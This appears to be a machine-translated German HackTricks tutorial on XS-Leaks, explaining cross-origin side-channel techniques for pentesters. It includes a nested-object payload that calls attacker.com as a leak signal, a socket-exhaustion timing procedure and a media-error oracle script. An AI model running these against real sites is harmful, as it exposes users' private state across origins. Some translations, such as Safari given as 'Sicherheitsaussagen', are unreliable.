hacktricks/pentesting-web/xs-search.md

91 KiB

XS-Suche/XS-Leaks

Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

XS-Suche ist eine Methode zur Extraktion von Informationen über verschiedene Ursprünge, indem Seitenkanal-Schwachstellen ausgenutzt werden.

Die Schlüsselkomponenten dieses Angriffs umfassen:

  • Verwundbare Website: Die Zielwebsite, von der die Informationen extrahiert werden sollen.
  • Web des Angreifers: Die bösartige Website, die vom Angreifer erstellt wurde und die der Opfer besucht, auf der der Exploit gehostet wird.
  • Einbindungsmethode: Die Technik, die verwendet wird, um die verwundbare Website in die Website des Angreifers zu integrieren (z. B. window.open, iframe, fetch, HTML-Tag mit href usw.).
  • Leak-Technik: Techniken, die verwendet werden, um Unterschiede im Zustand der verwundbaren Website basierend auf den durch die Einbindungsmethode gesammelten Informationen zu erkennen.
  • Zustände: Die beiden potenziellen Zustände der verwundbaren Website, die der Angreifer unterscheiden möchte.
  • Erkennbare Unterschiede: Beobachtbare Variationen, auf die der Angreifer angewiesen ist, um den Zustand der verwundbaren Website zu erschließen.

Erkennbare Unterschiede

Es können mehrere Aspekte analysiert werden, um die Zustände der verwundbaren Website zu unterscheiden:

  • Statuscode: Unterscheidung zwischen verschiedenen HTTP-Antwortstatuscodes über verschiedene Ursprünge hinweg, wie Serverfehler, Clientfehler oder Authentifizierungsfehler.
  • API-Nutzung: Identifizierung der Nutzung von Web-APIs auf verschiedenen Seiten, um festzustellen, ob eine Seite über verschiedene Ursprünge eine bestimmte JavaScript-Web-API verwendet.
  • Weiterleitungen: Erkennen von Navigationen zu verschiedenen Seiten, nicht nur HTTP-Weiterleitungen, sondern auch solche, die durch JavaScript oder HTML ausgelöst werden.
  • Seiteninhalt: Beobachtung von Variationen im HTTP-Antwortkörper oder in Seiten-Subressourcen, wie die Anzahl der eingebetteten Frames oder Größenunterschiede bei Bildern.
  • HTTP-Header: Feststellen der Anwesenheit oder möglicherweise des Werts eines spezifischen HTTP-Antwortheaders, einschließlich Header wie X-Frame-Options, Content-Disposition und Cross-Origin-Resource-Policy.
  • Timing: Feststellen von konsistenten Zeitunterschieden zwischen den beiden Zuständen.

Einbindungsmethoden

  • HTML-Elemente: HTML bietet verschiedene Elemente für die Einbindung von Ressourcen über verschiedene Ursprünge, wie Stylesheets, Bilder oder Skripte, die den Browser dazu zwingen, eine nicht-HTML-Ressource anzufordern. Eine Zusammenstellung potenzieller HTML-Elemente für diesen Zweck finden Sie unter https://github.com/cure53/HTTPLeaks.
  • Frames: Elemente wie iframe, object und embed können HTML-Ressourcen direkt in die Seite des Angreifers einbetten. Wenn die Seite keinen Framing-Schutz hat, kann JavaScript über die contentWindow-Eigenschaft auf das Fensterobjekt der gerahmten Ressource zugreifen.
  • Pop-ups: Die Methode window.open öffnet eine Ressource in einem neuen Tab oder Fenster und bietet einen Fenstergriff, über den JavaScript mit Methoden und Eigenschaften gemäß der SOP interagieren kann. Pop-ups, die häufig bei der Einmalanmeldung verwendet werden, umgehen die Einschränkungen von Framing und Cookies einer Zielressource. Moderne Browser beschränken jedoch die Erstellung von Pop-ups auf bestimmte Benutzeraktionen.
  • JavaScript-Anfragen: JavaScript ermöglicht direkte Anfragen an Zielressourcen mithilfe von XMLHttpRequests oder der Fetch-API. Diese Methoden bieten eine präzise Kontrolle über die Anfrage, z. B. die Möglichkeit, HTTP-Weiterleitungen zu verfolgen.

Leak-Techniken

  • Ereignisbehandler: Eine klassische Leak-Technik in XS-Leaks, bei der Ereignisbehandler wie onload und onerror Einblicke in den Erfolg oder Misserfolg des Ressourcenladens bieten.
  • Fehlermeldungen: JavaScript-Ausnahmen oder spezielle Fehlerseiten können Informationen über Lecks bereitstellen, entweder direkt aus der Fehlermeldung oder durch Unterscheidung zwischen deren Vorhandensein und Abwesenheit.
  • Globale Grenzen: Physische Einschränkungen eines Browsers, wie Speicherkapazität oder andere durchgesetzte Browsergrenzen, können signalisieren, wenn eine Schwelle erreicht ist, und als Leak-Technik dienen.
  • Globaler Zustand: Erkennbare Interaktionen mit den globalen Zuständen von Browsern (z. B. das History-Interface) können ausgenutzt werden. Beispielsweise kann die Anzahl der Einträge im Browserverlauf Hinweise auf Seiten über verschiedene Ursprünge geben.
  • Performance-API: Diese API liefert Leistungsdaten der aktuellen Seite, einschließlich Netzwerkzeitmessung für das Dokument und geladene Ressourcen, was Rückschlüsse auf angeforderte Ressourcen ermöglicht.
  • Lesbare Attribute: Einige HTML-Attribute sind über verschiedene Ursprünge lesbar und können als Leak-Technik verwendet werden. Beispielsweise ermöglicht die Eigenschaft window.frame.length JavaScript, die in einer Webseite über verschiedene Ursprünge enthaltenen Frames zu zählen.

XSinator-Tool & Paper

XSinator ist ein automatisches Tool zur Überprüfung von Browsern auf mehrere bekannte XS-Leaks, wie in seinem Paper erklärt: https://xsinator.com/paper.pdf

Sie können auf das Tool unter https://xsinator.com/ zugreifen

{% hint style="warning" %} Ausgeschlossene XS-Leaks: Wir mussten XS-Leaks ausschließen, die auf Service-Workern beruhen, da sie mit anderen Lecks in XSinator interferieren würden. Darüber hinaus haben wir uns entschieden, XS-Leaks auszuschließen, die auf Fehlkonfigurationen und Fehlern in einer bestimmten Webanwendung beruhen. Zum Beispiel Fehlkonfigurationen von Cross-Origin Resource Sharing (CORS), postMessage-Lecks oder Cross-Site Scripting. Darüber hinaus haben wir zeitbasierte XS-Leaks ausgeschlossen, da sie oft langsam, laut und ungenau sind. {% endhint %}


Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Zeitbasierte Techniken

Einige der folgenden Techniken verwenden Timing als Teil des Prozesses, um Unterschiede in den möglichen Zuständen der Webseiten zu erkennen. Es gibt verschiedene Möglichkeiten, die Zeit in einem Webbrowser zu messen.

Uhren: Die performance.now() API ermöglicht es Entwicklern, hochauflösende Zeitmessungen zu erhalten.
Es gibt eine beträchtliche Anzahl von APIs, die Angreifer missbrauchen können, um implizite Uhren zu erstellen: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS-Animationen und andere.
Für weitere Informationen: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Ereignisbehandlungstechniken

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

Das Codebeispiel versucht, Skriptobjekte aus JS zu laden, aber auch andere Tags wie Objekte, Stylesheets, Bilder, Audios könnten verwendet werden. Darüber hinaus ist es auch möglich, das Tag direkt einzufügen und die onload- und onerror-Ereignisse im Tag zu deklarieren (anstatt es aus JS einzufügen).

Es gibt auch eine skriptlose Version dieses Angriffs:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

Onload-Zeitmessung

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Onload-Zeitmessung + Erzwungene schwere Aufgabe

Diese Technik ist ähnlich wie die vorherige, aber der Angreifer wird auch eine Aktion erzwingen, die eine relevante Menge Zeit in Anspruch nimmt, wenn die Antwort positiv oder negativ ist, und diese Zeit messen.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

Entladen/Vor-Entladen-Zeitmessung

Die Zeit, die benötigt wird, um eine Ressource abzurufen, kann gemessen werden, indem die Ereignisse unload und beforeunload genutzt werden. Das Ereignis beforeunload wird ausgelöst, wenn der Browser kurz davor ist, zu einer neuen Seite zu navigieren, während das Ereignis unload auftritt, wenn die Navigation tatsächlich stattfindet. Der Zeitunterschied zwischen diesen beiden Ereignissen kann berechnet werden, um die Dauer zu bestimmen, die der Browser damit verbracht hat, die Ressource abzurufen.

Sandboxed Frame-Zeitmessung + onload

Es wurde beobachtet, dass in Abwesenheit von Rahmenschutzmaßnahmen die Zeit, die für das Laden einer Seite und ihrer Unterressourcen über das Netzwerk benötigt wird, von einem Angreifer gemessen werden kann. Diese Messung ist in der Regel möglich, weil das onload-Handler eines Iframes nur nach Abschluss des Ressourcenladens und der JavaScript-Ausführung ausgelöst wird. Um die durch die Skriptausführung eingeführte Variabilität zu umgehen, könnte ein Angreifer das sandbox-Attribut innerhalb des <iframe> verwenden. Die Verwendung dieses Attributs beschränkt zahlreiche Funktionalitäten, insbesondere die Ausführung von JavaScript, und erleichtert somit eine Messung, die hauptsächlich von der Netzwerkleistung beeinflusst wird.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + Fehler + onload

  • Einschlussmethoden: Frames
  • Erkennbarer Unterschied: Seiteninhalt
  • Weitere Informationen:
  • Zusammenfassung: Wenn die Seite einen Fehler anzeigt, wenn auf den korrekten Inhalt zugegriffen wird, und korrekt lädt, wenn auf beliebigen Inhalt zugegriffen wird, kann ein Loop erstellt werden, um alle Informationen ohne Zeitmessung zu extrahieren.
  • Codebeispiel:

Angenommen, Sie können die Seite, die den geheimen Inhalt enthält, in ein Iframe einfügen.

Sie können das Opfer nach der Datei durchsuchen lassen, die "flag" enthält, indem Sie ein Iframe verwenden (zum Beispiel eine CSRF ausnutzen). Im Iframe wird das onload-Ereignis immer mindestens einmal ausgeführt. Dann können Sie die URL des Iframes ändern, indem Sie nur den Inhalt des Hashes in der URL ändern.

Zum Beispiel:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Wenn die erste URL erfolgreich geladen wurde, wird das onload-Ereignis beim Ändern des Hash-Teils der URL nicht erneut ausgelöst. Aber wenn die Seite einen Fehler beim Laden hatte, wird das onload-Ereignis erneut ausgelöst.

Dann können Sie zwischen einer korrekt geladenen Seite oder einer Seite unterscheiden, die einen Fehler aufweist, wenn sie aufgerufen wird.

Javascript-Ausführung

  • Einschlussmethoden: Frames
  • Erkennbarer Unterschied: Seiteninhalt
  • Weitere Informationen:
  • Zusammenfassung: Wenn die Seite den sensiblen Inhalt zurückgibt oder einen Inhalt, der vom Benutzer kontrolliert werden kann. Der Benutzer könnte im negativen Fall gültigen JS-Code festlegen und jeden Versuch innerhalb von <script>-Tags laden, sodass im negativen Fall der Angreifer Code ausgeführt wird und im positiven Fall nichts ausgeführt wird.
  • Codebeispiel:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Einschlussmethoden: HTML-Elemente
  • Erkennbarer Unterschied: Statuscode & Header
  • Weitere Informationen: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Zusammenfassung: Cross-Origin Read Blocking (CORB) ist eine Sicherheitsmaßnahme, die verhindert, dass Webseiten bestimmte sensible Ressourcen von anderen Ursprüngen laden, um sich vor Angriffen wie Spectre zu schützen. Angreifer können jedoch sein Schutzverhalten ausnutzen. Wenn eine Antwort, die CORB unterliegt, einen CORB-geschützten Content-Type mit nosniff und einem 2xx-Statuscode zurückgibt, entfernt CORB den Body und die Header der Antwort. Angreifer, die dies beobachten, können aus der Kombination des Statuscodes (der Erfolg oder Fehler anzeigt) und des Content-Type (der angibt, ob er durch CORB geschützt ist) auf potenzielle Informationslecks schließen.
  • Codebeispiel:

Überprüfen Sie den Link für weitere Informationen über den Angriff.

onblur

Es ist möglich, eine Seite in ein Iframe zu laden und das #id_value zu verwenden, um die Seite auf das Element des Iframes zu fokussieren, das angegeben ist. Wenn dann ein onblur-Signal ausgelöst wird, existiert das ID-Element.
Sie können denselben Angriff mit portal-Tags durchführen.

postMessage Broadcasts

  • Einschlussmethoden: Frames, Pop-ups
  • Erkennbarer Unterschied: API-Nutzung
  • Weitere Informationen: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Zusammenfassung: Sensible Informationen aus einer postMessage sammeln oder die Anwesenheit von postMessages als Orakel nutzen, um den Status des Benutzers auf der Seite zu kennen.
  • Codebeispiel: Jeder Code, der alle postMessages abhört.

Anwendungen nutzen häufig postMessage-Broadcasts, um über verschiedene Ursprünge hinweg zu kommunizieren. Dies kann jedoch versehentlich sensible Informationen preisgeben, wenn der targetOrigin-Parameter nicht ordnungsgemäß festgelegt ist und es jedem Fenster ermöglicht, die Nachrichten zu empfangen. Darüber hinaus kann allein das Empfangen einer Nachricht als Orakel dienen; bestimmte Nachrichten werden möglicherweise nur an angemeldete Benutzer gesendet. Daher kann die Anwesenheit oder Abwesenheit dieser Nachrichten Informationen über den Zustand oder die Identität des Benutzers preisgeben, z. B. ob sie authentifiziert sind oder nicht.

Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Jetzt Zugriff erhalten:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Globale Grenztechniken

WebSocket-API

Es ist möglich festzustellen, ob und wie viele WebSocket-Verbindungen eine Zielseite verwendet. Dies ermöglicht es einem Angreifer, Anwendungsstatus zu erkennen und Informationen preiszugeben, die mit der Anzahl der WebSocket-Verbindungen verbunden sind.

Wenn ein Ursprung die maximale Anzahl von WebSocket-Verbindungsobjekten verwendet, unabhhängig von ihrem Verbindungsstatus, führt die Erstellung neuer Objekte zu JavaScript-Ausnahmen. Um diesen Angriff auszuführen, öffnet die Angreifer-Website die Ziel-Website in einem Pop-up oder Iframe und versucht dann, nachdem die Ziel-Website geladen wurde, die maximale Anzahl von möglichen WebSocket-Verbindungen herzustellen. Die Anzahl der geworfenen Ausnahmen entspricht der Anzahl der WebSocket-Verbindungen, die von der Ziel-Website verwendet werden.

Zahlungs-API

Dieses XS-Leak ermöglicht es einem Angreifer, zu erkennen, wann eine plattformübergreifende Seite eine Zahlungsanfrage initiiert.

Da nur eine Zahlungsanfrage gleichzeitig aktiv sein kann, schlagen weitere Versuche, diese API zu nutzen, fehl, wenn die Zielseite die Payment Request API verwendet, und führen zu einer JavaScript-Ausnahme. Der Angreifer kann dies ausnutzen, indem er periodisch versucht, die Payment API-Benutzeroberfläche anzuzeigen. Wenn ein Versuch eine Ausnahme verursacht, wird die Zielseite sie derzeit verwenden. Der Angreifer kann diese periodischen Versuche verbergen, indem er die Benutzeroberfläche sofort nach der Erstellung schließt.

Timing des Event-Loops

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

JavaScript arbeitet nach einem single-threaded Event-Loop-Concurrency-Modell, was bedeutet, dass nur eine Aufgabe gleichzeitig ausgeführt werden kann. Diese Eigenschaft kann ausgenutzt werden, um zu messen, wie lange Code aus einer anderen Quelle zur Ausführung benötigt. Ein Angreifer kann die Ausführungszeit ihres eigenen Codes im Event-Loop messen, indem kontinuierlich Ereignisse mit festen Eigenschaften ausgelöst werden. Diese Ereignisse werden verarbeitet, wenn der Ereignispool leer ist. Wenn auch andere Quellen Ereignisse an denselben Pool senden, kann ein Angreifer die Zeit ableiten, die diese externen Ereignisse zur Ausführung benötigen, indem er Verzögerungen bei der Ausführung seiner eigenen Aufgaben beobachtet. Diese Methode, den Event-Loop auf Verzögerungen zu überwachen, kann die Ausführungszeit von Code aus verschiedenen Quellen aufdecken und potenziell sensible Informationen preisgeben.

{% hint style="warning" %} Bei einer Ausführungsmessung ist es möglich, Netzfaktoren zu eliminieren, um genauere Messungen zu erhalten. Zum Beispiel, indem die Ressourcen, die von der Seite verwendet werden, vor dem Laden der Seite geladen werden. {% endhint %}

Beschäftigter Event-Loop

  • Einschlussmethoden:
  • Erkennbarer Unterschied: Timing (generell aufgrund von Seiteninhalt, Statuscode)
  • Weitere Informationen: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Zusammenfassung: Eine Methode zur Messung der Ausführungszeit einer Website besteht darin, absichtlich den Ereignis-Loop eines Threads zu blockieren und dann zu messen, wie lange es dauert, bis der Ereignis-Loop wieder verfügbar ist. Durch Einfügen einer blockierenden Operation (wie einer langen Berechnung oder einem synchronen API-Aufruf) in den Ereignis-Loop und Überwachung der Zeit, die für die Ausführung des nachfolgenden Codes benötigt wird, kann man die Dauer der Aufgaben ableiten, die während des Blockierungszeitraums im Ereignis-Loop ausgeführt wurden. Diese Technik nutzt die single-threaded Natur des JavaScript-Ereignis-Loops, bei dem Aufgaben sequenziell ausgeführt werden, und kann Einblicke in die Leistung oder das Verhalten anderer Operationen bieten, die denselben Thread teilen.
  • Codebeispiel:

Ein wesentlicher Vorteil der Technik zur Messung der Ausführungszeit durch das Sperren des Ereignis-Loops besteht in der Möglichkeit, Site-Isolation zu umgehen. Site-Isolation ist eine Sicherheitsfunktion, die verschiedene Websites in separate Prozesse aufteilt, um zu verhindern, dass bösartige Websites direkt auf sensible Daten anderer Websites zugreifen. Indem man die Ausführungszeit einer anderen Quelle durch den gemeinsamen Ereignis-Loop beeinflusst, kann ein Angreifer indirekt Informationen über die Aktivitäten dieser Quelle extrahieren. Diese Methode basiert nicht auf dem direkten Zugriff auf die Daten der anderen Quelle, sondern beobachtet die Auswirkungen der Aktivitäten dieser Quelle auf den gemeinsamen Ereignis-Loop und umgeht so die Schutzbarrieren, die durch Site-Isolation errichtet wurden.

{% hint style="warning" %} Bei einer Ausführungsmessung ist es möglich, Netzfaktoren zu eliminieren, um genauere Messungen zu erhalten. Zum Beispiel, indem die Ressourcen, die von der Seite verwendet werden, vor dem Laden der Seite geladen werden. {% endhint %}

Verbindungspool

  • Einschlussmethoden: JavaScript-Anfragen
  • Erkennbarer Unterschied: Timing (generell aufgrund von Seiteninhalt, Statuscode)
  • Weitere Informationen: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Zusammenfassung: Ein Angreifer könnte alle Sockets außer einem blockieren, die Zielseite laden und gleichzeitig eine andere Seite laden. Die Zeit, bis die letzte Seite zu laden beginnt, ist die Zeit, die die Zielseite zum Laden benötigt hat.
  • Codebeispiel:

{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

Browser nutzen Sockets für die Kommunikation mit dem Server, aber aufgrund der begrenzten Ressourcen des Betriebssystems und der Hardware sind Browser gezwungen, eine Begrenzung für die Anzahl der gleichzeitigen Sockets zu setzen. Angreifer können diese Begrenzung ausnutzen, indem sie die folgenden Schritte ausführen:

  1. Ermitteln der Socket-Grenze des Browsers, z. B. 256 globale Sockets.
  2. Belegen von 255 Sockets für eine längere Zeit, indem 255 Anfragen an verschiedene Hosts gestartet werden, die darauf abzielen, die Verbindungen offen zu halten, ohne sie abzuschließen.
  3. Verwenden des 256. Sockets, um eine Anfrage an die Zielseite zu senden.
  4. Versuch einer 257. Anfrage an einen anderen Host. Da alle Sockets belegt sind (gemäß Schritten 2 und 3), wird diese Anfrage in die Warteschlange gestellt, bis ein Socket verfügbar wird. Die Verzögerung, bevor diese Anfrage fortgesetzt wird, liefert dem Angreifer zeitliche Informationen über die Netzwerkaktivität, die mit dem 256. Socket zusammenhängt (dem Socket der Zielseite). Diese Schlussfolgerung ist möglich, da die 255 Sockets aus Schritt 2 noch belegt sind, was bedeutet, dass jeder neu verfügbare Socket derjenige sein muss, der aus Schritt 3 freigegeben wurde. Die Zeit, die der 256. Socket benötigt, um verfügbar zu werden, ist somit direkt mit der Zeit verbunden, die für die Anfrage an die Zielseite benötigt wird.

Für weitere Informationen: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Verbindungspool nach Ziel

  • Einschlussmethoden: JavaScript-Anfragen
  • Erkennbarer Unterschied: Timing (generell aufgrund von Seiteninhalt, Statuscode)
  • Weitere Informationen:
  • Zusammenfassung: Ähnlich wie bei der vorherigen Technik, aber anstelle aller Sockets setzt Google Chrome ein Limit von 6 gleichzeitigen Anfragen an dieselbe Quelle. Wenn wir 5 blockieren und dann eine 6. Anfrage starten, können wir sie timen und wenn es uns gelingt, die Opferseite dazu zu bringen, mehr Anfragen an denselben Endpunkt zu senden, um einen Status der Seite zu erkennen, wird die 6. Anfrage länger dauern und wir können dies erkennen.

Leistung API Techniken

Die Performance API bietet Einblicke in die Leistungsmetriken von Webanwendungen, die durch die Resource Timing API weiter angereichert werden. Die Resource Timing API ermöglicht die Überwachung detaillierter Netzwerkanforderungszeiten, wie z.B. die Dauer der Anforderungen. Insbesondere, wenn Server in ihren Antworten den Header Timing-Allow-Origin: * enthalten, stehen zusätzliche Daten wie die Übertragungsgröße und die Domain-Lookup-Zeit zur Verfügung.

Diese Fülle an Daten kann über Methoden wie performance.getEntries oder performance.getEntriesByName abgerufen werden und bietet einen umfassenden Überblick über leistungsbezogene Informationen. Darüber hinaus ermöglicht die API die Messung von Ausführungszeiten, indem sie die Differenz zwischen Zeitstempeln berechnet, die von performance.now() erhalten wurden. Es ist jedoch zu beachten, dass für bestimmte Operationen in Browsern wie Chrome die Genauigkeit von performance.now() auf Millisekunden begrenzt sein kann, was die Granularität von Zeitmessungen beeinträchtigen könnte.

Über zeitliche Messungen hinaus kann die Performance API für sicherheitsrelevante Erkenntnisse genutzt werden. Beispielsweise kann das Vorhandensein oder Fehlen von Seiten im performance-Objekt in Chrome auf die Anwendung von X-Frame-Options hinweisen. Insbesondere, wenn eine Seite aufgrund von X-Frame-Options blockiert wird und nicht in einem Frame gerendert wird, wird sie nicht im performance-Objekt erfasst, was einen subtilen Hinweis auf die Framing-Richtlinien der Seite liefert.

Fehlerleck

Es ist möglich, zwischen HTTP-Antwortstatuscodes zu unterscheiden, da Anfragen, die zu einem Fehler führen, keinen Leistungseintrag erstellen.

Stil-Neuladenfehler

In der vorherigen Technik wurden auch zwei Fälle identifiziert, in denen Browserfehler in GC dazu führen, dass Ressourcen zweimal geladen werden, wenn sie nicht geladen werden. Dies führt zu mehreren Einträgen in der Performance API und kann daher erkannt werden.

Anforderungszusammenführungsfehler

Die Technik wurde in einer Tabelle im genannten Papier gefunden, aber keine Beschreibung der Technik wurde darauf gefunden. Sie können jedoch den Quellcode überprüfen, der dies unter https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak überprüft.

Leckage einer leeren Seite

Ein Angreifer kann erkennen, ob eine Anfrage zu einem leeren HTTP-Antwortkörper geführt hat, da leere Seiten in einigen Browsern keinen Leistungseintrag erstellen.

XSS-Auditor-Leck

Im Rahmen von Sicherheitsaussagen (SA) kann der XSS-Auditor, der ursprünglich dazu gedacht war, Cross-Site-Scripting (XSS)-Angriffe zu verhindern, paradoxerweise dazu genutzt werden, sensible Informationen preiszugeben. Obwohl dieses integrierte Feature aus Google Chrome (GC) entfernt wurde, ist es immer noch in SA vorhanden. Im Jahr 2013 zeigten Braun und Heiderich, dass der XSS-Auditor versehentlich legitime Skripte blockieren konnte, was zu falschen Positiven führte. Aufbauend darauf entwickelten Forscher Techniken, um Informationen zu extrahieren und spezifische Inhalte auf Seiten mit unterschiedlichen Ursprüngen zu erkennen, ein Konzept, das als XS-Leaks bekannt ist, das ursprünglich von Terada gemeldet und von Heyes in einem Blogbeitrag ausgearbeitet wurde. Obwohl diese Techniken spezifisch für den XSS-Auditor in GC waren, wurde festgestellt, dass in SA Seiten, die vom XSS-Auditor blockiert werden, keine Einträge in der Performance API generieren, was eine Methode aufzeigt, durch die sensible Informationen dennoch preisgegeben werden können.

X-Frame-Leck

Wenn eine Seite nicht in einem iFrame gerendert werden darf, wird kein Leistungseintrag erstellt. Daher kann ein Angreifer den Antwortheader X-Frame-Options erkennen.
Gleiches gilt, wenn Sie ein embed Tag verwenden.

Downloaderkennung

Ähnlich wie beim beschriebenen XS-Leak erstellt eine Ressource, die heruntergeladen wird, aufgrund des ContentDisposition-Headers ebenfalls keinen Leistungseintrag. Diese Technik funktioniert in allen gängigen Browsern.

Weiterleitung Start Leck

Wir haben eine XS-Leak-Instanz gefunden, die das Verhalten einiger Browser ausnutzt, die zu viele Informationen für Cross-Origin-Anfragen protokollieren. Der Standard definiert eine Teilmenge von Attributen, die für Cross-Origin-Ressourcen auf Null gesetzt werden sollten. In SA ist es jedoch möglich festzustellen, ob der Benutzer von der Zielseite weitergeleitet wird, indem man das Performance-API abfragt und nach den redirectStart-Timing-Daten sucht.

Dauer Weiterleitung Leck

In GC ist die Dauer für Anfragen, die zu einer Weiterleitung führen, negativ und kann somit von Anfragen, die nicht zu einer Weiterleitung führen, unterschieden werden.

CORP-Leck

In einigen Fällen kann der nextHopProtocol-Eintrag als Lecktechnik verwendet werden. In GC wird, wenn der CORP-Header gesetzt ist, das nextHopProtocol leer sein. Beachten Sie, dass SA für mit CORP aktivierten Ressourcen überhaupt keinen Leistungseintrag erstellt.

Service Worker

Service Worker sind ereignisgesteuerte Skriptkontexte, die an einem Ursprung ausgeführt werden. Sie laufen im Hintergrund einer Webseite und können Ressourcen abfangen, ändern und zwischenspeichern, um eine Offline-Webanwendung zu erstellen.
Wenn eine von einem Service Worker zwischengespeicherte Ressource über ein iframe abgerufen wird, wird die Ressource aus dem Service-Worker-Cache geladen.
Um festzustellen, ob die Ressource aus dem Service-Worker-Cache geladen wurde, kann das Performance-API verwendet werden.
Dies könnte auch mit einem Timing-Angriff durchgeführt werden (weitere Informationen finden Sie im Paper).

Cache

Mit dem Performance-API ist es möglich zu überprüfen, ob eine Ressource im Cache gespeichert ist.

Netzwerkdauer

Fehlermeldungen-Technik

Medienfehler

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

CORS-Fehler

Diese Technik ermöglicht es einem Angreifer, das Ziel einer Weiterleitung einer Website mit unterschiedlichem Ursprung zu extrahieren, indem er ausnutzt, wie Webkit-basierte Browser CORS-Anfragen behandeln. Speziell, wenn eine CORS-aktiviert Anfrage an eine Zielseite gesendet wird, die basierend auf dem Benutzerstatus eine Weiterleitung auslöst und der Browser anschließend die Anfrage ablehnt, wird die vollständige URL des Weiterleitungsziels in der Fehlermeldung offengelegt. Diese Schwachstelle enthüllt nicht nur die Tatsache der Weiterleitung, sondern auch das Endziel der Weiterleitung und eventuelle sensible Abfrageparameter, die sie enthalten kann.

SRI-Fehler

Ein Angreifer kann ausführliche Fehlermeldungen ausnutzen, um die Größe von Cross-Origin-Antworten abzuleiten. Dies ist auf den Mechanismus der Subresource Integrity (SRI) zurückzuführen, der das Integritätsattribut verwendet, um zu validieren, dass Ressourcen, die häufig von CDNs abgerufen werden, nicht manipuliert wurden. Damit SRI bei Cross-Origin-Ressourcen funktioniert, müssen diese CORS-aktiviert sein; andernfalls unterliegen sie keiner Integritätsprüfung. In Sicherheitsaussagen (SA), ähnlich wie beim CORS-Fehler XS-Leak, kann eine Fehlermeldung erfasst werden, nachdem eine Fetch-Anfrage mit einem Integritätsattribut fehlschlägt. Angreifer können absichtlich diesen Fehler auslösen, indem sie einen falschen Hash-Wert dem Integritätsattribut einer beliebigen Anfrage zuweisen. In SA enthüllt die resultierende Fehlermeldung unbeabsichtigt die Inhaltslänge der angeforderten Ressource. Dieses Informationsleck ermöglicht es einem Angreifer, Variationen in der Antwortgröße zu erkennen und ebnet den Weg für ausgefeilte XS-Leak-Angriffe.

CSP-Verletzung/-Erkennung

Ein XS-Leak kann die CSP verwenden, um festzustellen, ob eine Website mit unterschiedlichem Ursprung auf eine andere Domain umgeleitet wurde. Dieses Leck kann die Weiterleitung erkennen, aber zusätzlich wird die Domain des Weiterleitungsziels preisgegeben. Die Grundidee dieses Angriffs besteht darin, die Ziel-Domain auf der Angreifer-Website zuzulassen. Sobald eine Anfrage an die Ziel-Domain gesendet wird, leitet sie auf eine Domain mit unterschiedlichem Ursprung um. Die CSP blockiert den Zugriff darauf und erstellt einen Verletzungsbericht als Lecktechnik. Abhängig vom Browser kann dieser Bericht den Zielort der Weiterleitung preisgeben.
Moderne Browser geben nicht die URL an, zu der umgeleitet wurde, aber es ist dennoch möglich festzustellen, dass eine Weiterleitung mit unterschiedlichem Ursprung ausgelöst wurde.

Cache

Browser können einen gemeinsamen Cache für alle Websites verwenden. Unabhängig von ihrem Ursprung ist es möglich festzustellen, ob eine Zielseite eine bestimmte Datei angefordert hat.

